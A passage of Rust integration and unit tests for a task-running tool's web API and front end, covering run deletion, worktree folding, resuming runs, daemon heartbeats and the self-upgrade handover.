11999 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
12000 .expect("write run.json");
12001
12002 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
12004 assert_eq!(res.status, 204);
12005 assert!(res.body.is_empty(), "204 has no body");
12006 assert!(!dir.exists(), "run directory and artifacts must be deleted");
12007
12008 let run_running = "20260901-000000-rung";
12013 write_run(&runs, run_running, RunStatus::Prep);
12014 let mut beat = crate::daemon::Status::new();
12015 beat.current = vec![crate::daemon::Current {
12016 task: "20260901-000000-task".to_owned(),
12017 run: run_running.to_owned(),
12018 }];
12019 beat.updated_at = jiff::Timestamp::now();
12020 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12021 .expect("publish a heartbeat");
12022 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
12023 assert_eq!(res.status, 409);
12024 assert!(
12025 res.json()["error"]
12026 .as_str()
12027 .unwrap()
12028 .contains("live daemon"),
12029 "the refusal must say who is holding it"
12030 );
12031 assert!(
12032 runs.join(run_running).exists(),
12033 "a run in flight keeps its directory"
12034 );
12035
12036 let run_unfolded = "20260901-000000-unfd";
12038 let mut state2 = RunState::new(
12039 PathBuf::from("/repo"),
12040 "main".to_owned(),
12041 "abc".to_owned(),
12042 "instruction".to_owned(),
12043 Config::default(),
12044 );
12045 state2.id = run_unfolded.to_owned();
12046 state2.status = RunStatus::Ready;
12047 state2.candidates.push(crate::run::Candidate {
12048 index: 0,
12049 label: 'A',
12050 agent: "a".to_owned(),
12051 branch: "b".to_owned(),
12052 worktree: PathBuf::from("/w"),
12053 summary: String::new(),
12054 stat: String::new(),
12055 files: 1,
12056 commits: 1,
12057 empty: false,
12058 failed: None,
12059 verified_noop: None,
12060 duration_ms: 0,
12061 folded: false,
12062 });
12063 let dir2 = runs.join(run_unfolded);
12064 std::fs::create_dir_all(&dir2).expect("create dir2");
12065 std::fs::write(
12066 dir2.join("run.json"),
12067 serde_json::to_string(&state2).unwrap(),
12068 )
12069 .expect("write run.json");
12070
12071 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
12072 assert_eq!(res.status, 409);
12073 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
12074 assert!(dir2.exists(), "unfolded run directory is kept");
12075
12076 let res = fx.delete("/api/runs/nonexistent").await;
12078 assert_eq!(res.status, 404);
12079 }
12080
12081 #[test]
12090 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
12091 let start = APP_JS
12092 .find("function renderStats() {")
12093 .expect("renderStats");
12094 let end = start
12095 + APP_JS[start..]
12096 .find("function statsTile(")
12097 .expect("the next top-level function");
12098 let body = &APP_JS[start..end];
12099
12100 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
12101 let gate_end = gate_start
12102 + body[gate_start..]
12103 .find("}\n renderStatsQueue")
12104 .expect("the gate's own closing brace, right before the unconditional call");
12105 let gated = &body[gate_start..gate_end];
12106
12107 assert_eq!(
12108 body.matches("renderStatsQueue(").count(),
12109 1,
12110 "renderStats must call renderStatsQueue exactly once: {body}"
12111 );
12112 assert!(
12113 !gated.contains("renderStatsQueue"),
12114 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
12115 run-derived panels on an empty run history - the queue panel has to render \
12116 regardless: {gated}"
12117 );
12118 }
12119
12120 #[test]
12121 fn web_ui_delete_contract_in_front_end() {
12122 assert!(APP_JS.contains("deleteRun:"));
12124 assert!(APP_JS.contains("deleteTask:"));
12125
12126 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
12128 ..APP_JS.find("function renderRuns").unwrap()];
12129 assert!(!run_cards_slice.to_lowercase().contains("delete"));
12130
12131 assert!(APP_JS.contains("renderRunDelete"));
12133 assert!(APP_JS.contains("runDeleteReason"));
12134 assert!(APP_JS.contains("magi fold"));
12135 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
12136
12137 assert!(APP_JS.contains("cancel.focus"));
12139 assert!(APP_JS.contains("armedRunDelete"));
12140 assert!(APP_JS.contains("renderTaskDeleteBox"));
12141 assert!(APP_JS.contains("armed${cap(key)}"));
12142
12143 assert!(APP_JS.contains("disabled: status === \"running\""));
12145 }
12146
12147 #[test]
12167 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
12168 let build = APP_JS
12169 .find("function createRunCard")
12170 .expect("createRunCard exists");
12171 let update = APP_JS
12172 .find("function updateRunCard")
12173 .expect("updateRunCard exists");
12174 let end = APP_JS
12175 .find("function renderRuns")
12176 .expect("renderRuns exists");
12177
12178 let builder = &APP_JS[build..update];
12180 let open = builder.find("refs = {").expect("createRunCard sets refs");
12181 let literal = &builder[open + "refs = {".len()..];
12182 let close = literal.find('}').expect("the refs literal is closed");
12183 let published: HashSet<&str> = literal[..close]
12184 .split(',')
12185 .filter_map(|entry| entry.split(':').next())
12187 .map(str::trim)
12188 .filter(|name| !name.is_empty())
12189 .collect();
12190 assert!(
12191 published.len() > 5,
12192 "the refs literal did not parse into names: {published:?}"
12193 );
12194
12195 let mut used: Vec<&str> = Vec::new();
12198 let updaters = &APP_JS[update..end];
12199 for (at, _) in updaters.match_indices("r.") {
12200 let before = updaters[..at].chars().next_back();
12203 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
12204 continue;
12205 }
12206 let rest = &updaters[at + 2..];
12207 let len = rest
12208 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
12209 .unwrap_or(rest.len());
12210 if len > 0 {
12211 used.push(&rest[..len]);
12212 }
12213 }
12214 assert!(
12215 used.len() > 5,
12216 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
12217 );
12218
12219 let missing: Vec<&str> = used
12220 .iter()
12221 .copied()
12222 .filter(|name| !published.contains(name))
12223 .collect();
12224 assert!(
12225 missing.is_empty(),
12226 "a run card's updater reaches for {missing:?}, which `createRunCard` \
12227 never put in `refs` - every card will throw and the list will \
12228 render empty under a count line that says otherwise. Published: \
12229 {published:?}"
12230 );
12231 }
12232
12233 #[tokio::test]
12234 async fn folding_from_the_phone_reports_what_it_removed() {
12235 let fx = Fixture::start().await;
12236 let runs = fx.runs();
12237
12238 let id = "20260901-000000-fold";
12242 write_run(&runs, id, RunStatus::Stalled);
12243 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12244 assert_eq!(res.status, 200);
12245 assert_eq!(res.json()["removed_count"], 0);
12246 assert_eq!(res.json()["run"], id);
12247 assert!(
12248 runs.join(id).exists(),
12249 "a fold keeps the run's record; only the worktrees go"
12250 );
12251 }
12252
12253 #[tokio::test]
12254 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
12255 let fx = Fixture::start().await;
12256 let runs = fx.runs();
12257 let wt = fx.home.path().join("wt").join("magi").join("dead");
12258 let id = "20260901-000000-dead";
12259 std::fs::create_dir_all(runs.join(id)).expect("run dir");
12260 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
12261 std::fs::create_dir_all(&wt).expect("worktree dir");
12262
12263 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12264 assert_eq!(res.status, 200, "{}", res.body);
12265 assert!(
12266 res.json()["removed_count"].as_u64().unwrap() > 0,
12267 "the worktree this build could not read a state for still went"
12268 );
12269 assert!(
12270 !runs.join(id).exists(),
12271 "an unreadable run has no candidate list to fold selectively, so \
12272 the whole record goes - same as `magi fold` on the CLI"
12273 );
12274 }
12275
12276 #[tokio::test]
12277 async fn deleting_an_unreadable_run_removes_it_wholesale() {
12278 let fx = Fixture::start().await;
12279 let runs = fx.runs();
12280 let wt = fx.home.path().join("wt").join("magi").join("gone");
12281 let id = "20260901-000000-gone";
12282 std::fs::create_dir_all(runs.join(id)).expect("run dir");
12283 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
12284 std::fs::create_dir_all(&wt).expect("worktree dir");
12285
12286 let res = fx.delete(&format!("/api/runs/{id}")).await;
12287 assert_eq!(res.status, 204, "{}", res.body);
12288 assert!(!runs.join(id).exists(), "the broken record is gone");
12289 assert!(!wt.exists(), "its worktree is gone too");
12290 }
12291
12292 #[tokio::test]
12293 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
12294 let fx = Fixture::start().await;
12295 let runs = fx.runs();
12296 let id = "20260901-000000-live";
12297 write_run(&runs, id, RunStatus::Implementing);
12298
12299 let mut beat = crate::daemon::Status::new();
12300 beat.current = vec![crate::daemon::Current {
12301 task: "20260901-000000-task".to_owned(),
12302 run: id.to_owned(),
12303 }];
12304 beat.updated_at = jiff::Timestamp::now();
12305 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12306 .expect("publish a heartbeat");
12307
12308 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12309 assert_eq!(res.status, 409);
12310 assert!(
12311 res.json()["error"]
12312 .as_str()
12313 .unwrap()
12314 .contains("live daemon"),
12315 "folding under a running agent would pull its worktree away"
12316 );
12317 }
12318
12319 #[tokio::test]
12320 async fn fold_merged_requires_a_pr_url() {
12321 let fx = Fixture::start().await;
12322 let runs = fx.runs();
12323 let id = "20260901-000000-nourl";
12324 write_run(&runs, id, RunStatus::Blocked);
12325
12326 let res = fx
12327 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
12328 .await;
12329 assert_eq!(res.status, 400, "{}", res.body);
12330
12331 let blank = fx
12332 .post(
12333 &format!("/api/runs/{id}/fold-merged"),
12334 Some(r#"{"pr_url":" "}"#),
12335 )
12336 .await;
12337 assert_eq!(blank.status, 400, "{}", blank.body);
12338 }
12339
12340 #[tokio::test]
12341 async fn fold_merged_is_404_for_an_unknown_run() {
12342 let fx = Fixture::start().await;
12343 let res = fx
12344 .post(
12345 "/api/runs/nosuchrun/fold-merged",
12346 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12347 )
12348 .await;
12349 assert_eq!(res.status, 404, "{}", res.body);
12350 }
12351
12352 #[tokio::test]
12353 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
12354 let fx = Fixture::start().await;
12355 let runs = fx.runs();
12356 let id = "20260901-000000-livemerge";
12357 write_run(&runs, id, RunStatus::Blocked);
12358
12359 let mut beat = crate::daemon::Status::new();
12360 beat.current = vec![crate::daemon::Current {
12361 task: "20260901-000000-task".to_owned(),
12362 run: id.to_owned(),
12363 }];
12364 beat.updated_at = jiff::Timestamp::now();
12365 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12366 .expect("publish a heartbeat");
12367
12368 let res = fx
12369 .post(
12370 &format!("/api/runs/{id}/fold-merged"),
12371 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12372 )
12373 .await;
12374 assert_eq!(res.status, 409, "{}", res.body);
12375 assert!(
12376 res.json()["error"]
12377 .as_str()
12378 .unwrap()
12379 .contains("live daemon"),
12380 "correcting a run's merge underneath a running agent would race \
12381 whatever it is doing to the same `status`/`merge` fields"
12382 );
12383 }
12384
12385 #[tokio::test]
12390 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
12391 let fx = Fixture::start().await;
12392 let runs = fx.runs();
12393 let id = "20260901-000000-unconfirmed";
12394 write_run(&runs, id, RunStatus::Blocked);
12395
12396 let res = fx
12397 .post(
12398 &format!("/api/runs/{id}/fold-merged"),
12399 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12400 )
12401 .await;
12402 assert_eq!(res.status, 400, "{}", res.body);
12403 assert_eq!(
12404 read_run(&runs, id).unwrap().status,
12405 RunStatus::Blocked,
12406 "a pull request that could not be confirmed merged must leave \
12407 the run exactly where it was"
12408 );
12409 }
12410
12411 #[tokio::test]
12412 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
12413 let fx = Fixture::start().await;
12414 let runs = fx.runs();
12415
12416 for (status, word) in [
12422 (RunStatus::Merged, "merged"),
12423 (RunStatus::Ready, "ready"),
12424 (RunStatus::Failed, "failed"),
12425 ] {
12426 let id = format!("20260901-000000-{}", &word[..4]);
12427 write_run(&runs, &id, status);
12428 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
12429 assert_eq!(res.status, 409, "{word} must not be resumable");
12430 let err = res.json()["error"].as_str().unwrap().to_owned();
12431 assert!(err.contains(word), "the refusal names the status: {err}");
12432 }
12433
12434 let mid = "20260901-000000-midf";
12439 write_run(&runs, mid, RunStatus::Reviewing);
12440 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
12441 assert_eq!(res.status, 202, "an interrupted run is resumable");
12442 }
12443
12444 #[tokio::test]
12445 async fn resume_is_refused_while_the_loop_is_running() {
12446 let fx = Fixture::start().await;
12447 let runs = fx.runs();
12448 let stalled = "20260901-000000-stal";
12449 write_run(&runs, stalled, RunStatus::Stalled);
12450
12451 let mut beat = crate::daemon::Status::new();
12455 beat.current = vec![crate::daemon::Current {
12456 task: "20260901-000000-task".to_owned(),
12457 run: "20260901-000000-othr".to_owned(),
12458 }];
12459 beat.updated_at = jiff::Timestamp::now();
12460 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12461 .expect("publish a heartbeat");
12462
12463 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
12464 assert_eq!(res.status, 409);
12465 let err = res.json()["error"].as_str().unwrap().to_owned();
12466 assert!(err.contains("othr"), "it names what the loop is on: {err}");
12467 assert!(err.contains("stop it first"), "{err}");
12468 }
12469
12470 #[test]
12471 fn a_run_cannot_be_resumed_twice_at_once() {
12472 let home = TempDir::new().expect("temp home");
12473 let ui = Ui::new(
12474 Queue::at(home.path().join("queue")),
12475 Questions::at(home.path().join("questions")),
12476 Talks::at(home.path().join("talks")),
12477 home.path().join("runs"),
12478 home.path().to_path_buf(),
12479 PathBuf::from("/repo"),
12480 )
12481 .with_worktrees_root(home.path().join("wt"));
12482 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
12483 let again = ui.begin_resume("20260901-000000-once");
12484 assert!(again.is_err(), "a second tap must not start a second graph");
12485 drop(first);
12486 assert!(
12487 ui.begin_resume("20260901-000000-once").is_ok(),
12488 "and the claim is released when the attempt ends"
12489 );
12490 }
12491
12492 #[test]
12493 fn talk_thinking_tracks_only_its_held_turn_claim() {
12494 let home = TempDir::new().expect("temp home");
12495 let ui = Ui::new(
12496 Queue::at(home.path().join("queue")),
12497 Questions::at(home.path().join("questions")),
12498 Talks::at(home.path().join("talks")),
12499 home.path().join("runs"),
12500 home.path().to_path_buf(),
12501 PathBuf::from("/repo"),
12502 )
12503 .with_worktrees_root(home.path().join("wt"));
12504 let id = "20260901-000000-once";
12505
12506 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
12507 let turn = ui.begin_talk_turn(id).expect("claim turn");
12508 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
12509 assert!(
12510 !ui.is_thinking("20260901-000000-other"),
12511 "one talk's turn does not make another talk busy"
12512 );
12513 drop(turn);
12514 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
12515 }
12516
12517 #[tokio::test]
12518 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
12519 let fx = Fixture::start().await;
12520 let mut beat = crate::daemon::Status::new();
12524 beat.pid = 4321;
12525 beat.updated_at = jiff::Timestamp::now();
12526 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12527 .expect("publish a heartbeat");
12528
12529 let res = fx.post("/api/upgrade", None).await;
12530 assert_eq!(res.status, 409);
12531 let err = res.json()["error"].as_str().unwrap().to_owned();
12532 assert!(err.contains("4321"), "the refusal names the owner: {err}");
12533 assert!(err.contains("old one against the same queue"), "{err}");
12534 }
12535
12536 #[test]
12543 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
12544 assert!(!should_spawn_recheck(&crate::config::Update {
12545 mode: UpdateMode::Off,
12546 interval: None,
12547 }));
12548
12549 unsafe {
12552 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
12553 }
12554 let killed = should_spawn_recheck(&crate::config::Update {
12555 mode: UpdateMode::Notify,
12556 interval: None,
12557 });
12558 unsafe {
12559 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
12560 }
12561 assert!(
12562 !killed,
12563 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
12564 one-time startup check"
12565 );
12566
12567 assert!(should_spawn_recheck(&crate::config::Update {
12568 mode: UpdateMode::Notify,
12569 interval: None,
12570 }));
12571 }
12572
12573 #[test]
12579 fn recheck_poll_period_tracks_a_short_configured_interval() {
12580 let short = crate::config::Update {
12581 mode: UpdateMode::Notify,
12582 interval: Some("1m".to_owned()),
12583 };
12584 let period = recheck_poll_period(&short);
12585 assert!(
12586 period <= Duration::from_secs(30),
12587 "a one-minute interval must wake the task far sooner than the \
12588 default ceiling, or the deck would not notice within the \
12589 interval the operator configured: got {period:?}"
12590 );
12591
12592 let default = crate::config::Update {
12593 mode: UpdateMode::Notify,
12594 interval: None,
12595 };
12596 assert_eq!(
12597 recheck_poll_period(&default),
12598 UPDATE_RECHECK_POLL_MAX,
12599 "the default day-long interval should poll at the (capped) \
12600 ceiling rather than needlessly often"
12601 );
12602 }
12603
12604 #[test]
12612 fn recheck_skips_the_network_before_the_interval_elapses() {
12613 let dir = TempDir::new().expect("temp dir");
12614 let path = dir.path().join("state.json");
12615 let state = kaishin::UpdateCheckState {
12616 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
12617 last_known_latest: None,
12618 last_known_url: None,
12619 };
12620 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
12621
12622 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
12623 assert!(
12624 !update_recheck_due(&checker, None),
12625 "a check made moments ago must not be repeated before the \
12626 configured interval elapses"
12627 );
12628 }
12629
12630 #[test]
12636 fn recheck_defers_to_an_upgrade_already_in_flight() {
12637 let dir = TempDir::new().expect("temp dir");
12638 let path = dir.path().join("state.json");
12639 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
12640 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
12641
12642 assert!(
12643 !update_recheck_due(&checker, Some(&progress)),
12644 "a recheck must not run while an upgrade this deck started is \
12645 still moving"
12646 );
12647 }
12648
12649 #[tokio::test]
12650 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
12651 unsafe {
12663 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
12664 }
12665 let fx = Fixture::start().await;
12666 let res = fx.post("/api/upgrade", None).await;
12667 unsafe {
12668 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
12669 }
12670 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
12671 let body = res.json();
12672 assert!(body["to"].is_null(), "there was no release to move to");
12673 assert!(body["parked"].is_null(), "and nothing was parked");
12674 assert!(
12675 body["detail"]
12676 .as_str()
12677 .unwrap()
12678 .contains("disabled by MAGI_NO_AUTOUPDATE"),
12679 "{body:?}"
12680 );
12681 }
12682
12683 #[tokio::test]
12684 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
12685 let repo = TempDir::new().expect("repo dir");
12701 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
12702 .expect("write magi.toml");
12703 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12704
12705 let res = fx.post("/api/upgrade", None).await;
12711 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
12712 let body = res.json();
12713 assert!(body["to"].is_null(), "there was no release to move to");
12714 assert!(body["parked"].is_null(), "and nothing was parked");
12715 assert!(
12716 body["detail"]
12717 .as_str()
12718 .unwrap()
12719 .contains("nothing restarted"),
12720 "{body:?}"
12721 );
12722 }
12723
12724 #[tokio::test]
12725 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
12726 let repo = TempDir::new().expect("repo dir");
12731 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
12732 .expect("write magi.toml");
12733 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12734
12735 let health = fx.get("/api/health").await.json();
12736 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
12737 assert_eq!(
12738 health["update"]["available"], false,
12739 "checking is off, which reads as \"unknown\", not \"none\""
12740 );
12741 assert!(health["update"]["to"].is_null());
12742 assert!(
12743 health["upgrade"].is_null(),
12744 "nothing has ever asked this deck to upgrade"
12745 );
12746 }
12747
12748 #[tokio::test]
12749 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
12750 let fx = Fixture::start().await;
12751 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
12752
12753 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
12754 progress.parked_run = Some("20260905-000000-cd51".to_owned());
12755 progress.advance(crate::updater::Stage::Parking);
12756 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
12757
12758 let health = fx.get("/api/health").await.json();
12759 assert_eq!(health["upgrade"]["stage"], "parking");
12760 assert_eq!(health["upgrade"]["from"], "0.5.1");
12761 assert_eq!(health["upgrade"]["to"], "0.5.2");
12762 let waiting_on = health["upgrade"]["waiting_on"]
12763 .as_str()
12764 .expect("waiting_on is set while parking a known run");
12765 assert!(waiting_on.contains("cd51"), "{waiting_on}");
12766 assert!(waiting_on.contains("implementing"), "{waiting_on}");
12767 }
12768
12769 #[tokio::test]
12770 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
12771 let fx = Fixture::start().await;
12772 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
12773 progress.advance(crate::updater::Stage::Done);
12774 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
12775
12776 let health = fx.get("/api/health").await.json();
12777 assert_eq!(health["upgrade"]["stage"], "done");
12778 assert!(
12779 health["upgrade"]["waiting_on"].is_null(),
12780 "nothing to wait on once it is done"
12781 );
12782 }
12783
12784 #[tokio::test]
12785 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
12786 let home = TempDir::new().expect("temp home");
12787 let runs = home.path().join("runs");
12788 std::fs::create_dir_all(&runs).expect("runs dir");
12789 let ui = Ui::new(
12790 Queue::at(home.path().join("queue")),
12791 Questions::at(home.path().join("questions")),
12792 Talks::at(home.path().join("talks")),
12793 runs,
12794 home.path().to_path_buf(),
12795 PathBuf::from("/repo/magi"),
12796 )
12797 .with_launch(launch_idle);
12798 let looping = ui.looping();
12799 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
12800 .await
12801 .expect("bind loopback");
12802 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
12803
12804 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
12805 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
12806
12807 hand_over(home.path(), &looping, served, |_| Ok(()))
12808 .await
12809 .expect("hand over");
12810
12811 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
12812 assert_eq!(
12813 after.stage,
12814 crate::updater::Stage::Restarting,
12815 "hand_over owns the record through parking and up to restarting; \
12816 the successor is what finishes it"
12817 );
12818 }
12819
12820 fn idle_ui(home: &TempDir) -> Ui {
12821 let runs = home.path().join("runs");
12822 std::fs::create_dir_all(&runs).expect("runs dir");
12823 Ui::new(
12824 Queue::at(home.path().join("queue")),
12825 Questions::at(home.path().join("questions")),
12826 Talks::at(home.path().join("talks")),
12827 runs,
12828 home.path().to_path_buf(),
12829 PathBuf::from("/repo/magi"),
12830 )
12831 .with_launch(launch_idle)
12832 }
12833
12834 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
12836 let looping = ui.looping();
12837 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
12838 .await
12839 .expect("bind loopback");
12840 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
12841 let told = std::sync::Mutex::new(None);
12842 hand_over(home.path(), &looping, served, |resume| {
12843 *told.lock().unwrap() = Some(resume);
12844 Ok(())
12845 })
12846 .await
12847 .expect("hand over");
12848 told.into_inner().unwrap().expect("successor was started")
12849 }
12850
12851 #[tokio::test]
12852 async fn a_running_loop_is_resumed_by_the_successor() {
12853 let home = TempDir::new().expect("temp home");
12854 let ui = idle_ui(&home);
12855 ui.start_loop(None).expect("start");
12856 ui.park_for_upgrade().expect("park");
12857 for _ in 0..500 {
12859 if !ui.loop_view(None).running {
12860 break;
12861 }
12862 tokio::time::sleep(Duration::from_millis(2)).await;
12863 }
12864 assert!(handed_over(&home, ui).await, "a running loop must resume");
12865
12866 let successor = idle_ui(&home);
12867 assert!(!successor.loop_view(None).running);
12868 assert!(successor.resume_after_handover(true));
12869 assert!(successor.loop_view(None).running);
12870 successor.stop_loop(None, false).expect("stop");
12871 }
12872
12873 #[tokio::test]
12874 async fn a_second_upgrade_request_keeps_the_resume_intent() {
12875 let home = TempDir::new().expect("temp home");
12876 let ui = idle_ui(&home);
12877 ui.start_loop(None).expect("start");
12878 ui.park_for_upgrade().expect("first park");
12879 ui.park_for_upgrade().expect("second park");
12880 assert!(handed_over(&home, ui).await);
12881 }
12882
12883 #[tokio::test]
12884 async fn a_stop_during_the_handover_wait_is_honoured() {
12885 let home = TempDir::new().expect("temp home");
12886 let ui = idle_ui(&home);
12887 ui.start_loop(None).expect("start");
12888 ui.park_for_upgrade().expect("park");
12889 ui.stop_loop(None, false).expect("stop");
12890 assert!(!handed_over(&home, ui).await);
12891 }
12892
12893 #[tokio::test]
12894 async fn an_idle_loop_stays_stopped_across_the_handover() {
12895 let home = TempDir::new().expect("temp home");
12896 let ui = idle_ui(&home);
12897 ui.park_for_upgrade().expect("park");
12898 assert!(!handed_over(&home, ui).await);
12899
12900 let successor = idle_ui(&home);
12901 assert!(!successor.resume_after_handover(false));
12902 assert!(!successor.loop_view(None).running);
12903 }
12904
12905 #[tokio::test]
12906 async fn a_loop_the_operator_stopped_is_not_resumed() {
12907 let home = TempDir::new().expect("temp home");
12908 let ui = idle_ui(&home);
12909 ui.start_loop(None).expect("start");
12910 ui.stop_loop(None, false).expect("stop");
12911 ui.park_for_upgrade().expect("park");
12912 assert!(!handed_over(&home, ui).await);
12913 }
12914
12915 #[test]
12916 fn only_an_explicit_one_requests_a_resume() {
12917 assert!(!resume_requested(None));
12918 assert!(!resume_requested(Some("0".into())));
12919 assert!(!resume_requested(Some("".into())));
12920 assert!(resume_requested(Some("1".into())));
12921 }
12922
12923 #[test]
12924 fn the_upgrade_button_arms_before_it_restarts_anything() {
12925 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
12928 assert!(APP_JS.contains("Replace the binary and restart?"));
12929 assert!(APP_JS.contains("function confirmed("));
12930 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
12935 assert!(
12939 APP_JS.contains("Parking, then restarting"),
12940 "the button says what it is waiting for"
12941 );
12942 assert!(APP_JS.contains("if (!out.to)"));
12945 }
12946
12947 #[test]
12948 fn stopping_the_loop_arms_but_starting_does_not() {
12949 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
12952 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
12953 assert!(APP_JS.contains("confirmed(button, question)"));
12954 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
12957 assert!(APP_JS.contains("const label = btn.textContent;"));
12958 assert!(!APP_JS.contains("Neither direction is guarded"));
12959 }
12960
12961 #[test]
12962 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
12963 assert!(
12964 APP_JS.contains("state.health.version"),
12965 "the operator wants to know what is running even with nothing newer"
12966 );
12967 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
12968 }
12969
12970 #[test]
12971 fn the_upgrade_button_names_its_destination() {
12972 assert!(
12973 APP_JS.contains("`Update to ${update.to}`"),
12974 "pressing the button should not be a surprise about what it moves to"
12975 );
12976 }
12977
12978 #[test]
12979 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
12980 for stage in ["downloading", "replaced", "parking", "restarting"] {
12981 assert!(
12982 APP_JS.contains(&format!("\"{stage}\"")),
12983 "the phone must be able to tell {stage} apart from the others"
12984 );
12985 }
12986 assert!(APP_JS.contains(".waiting_on"));
12987 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
12992 assert!(APP_JS.contains("reconnects on its own"));
12993 }
12994
12995 #[test]
12996 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
12997 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
13006 ..APP_JS.find("function upgrade(").expect("upgrade")];
13007 assert!(
13008 !body.contains(
13009 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
13010 ),
13011 "a failed upgrade must not take the whole strip over the way it used to"
13012 );
13013 assert!(
13014 body.contains("upgradeFailNote"),
13015 "the failure has to reach the loop's own note instead"
13016 );
13017 assert_eq!(
13021 body.matches("upgradeFailNote].filter(Boolean).join")
13022 .count(),
13023 2,
13024 "both loop-why writers (quiet and control) must fold the note in"
13025 );
13026 }
13027
13028 #[test]
13029 fn an_overdue_upgrade_eventually_asks_for_a_human() {
13030 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
13033 assert!(APP_JS.contains("function upgradeOverdue("));
13034 }
13035
13036 #[test]
13037 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
13038 assert!(
13039 APP_JS.contains("Updated to ${upgradeInfo.to"),
13040 "the operator who asked for the restart wants to know it worked"
13041 );
13042 }
13043
13044 #[test]
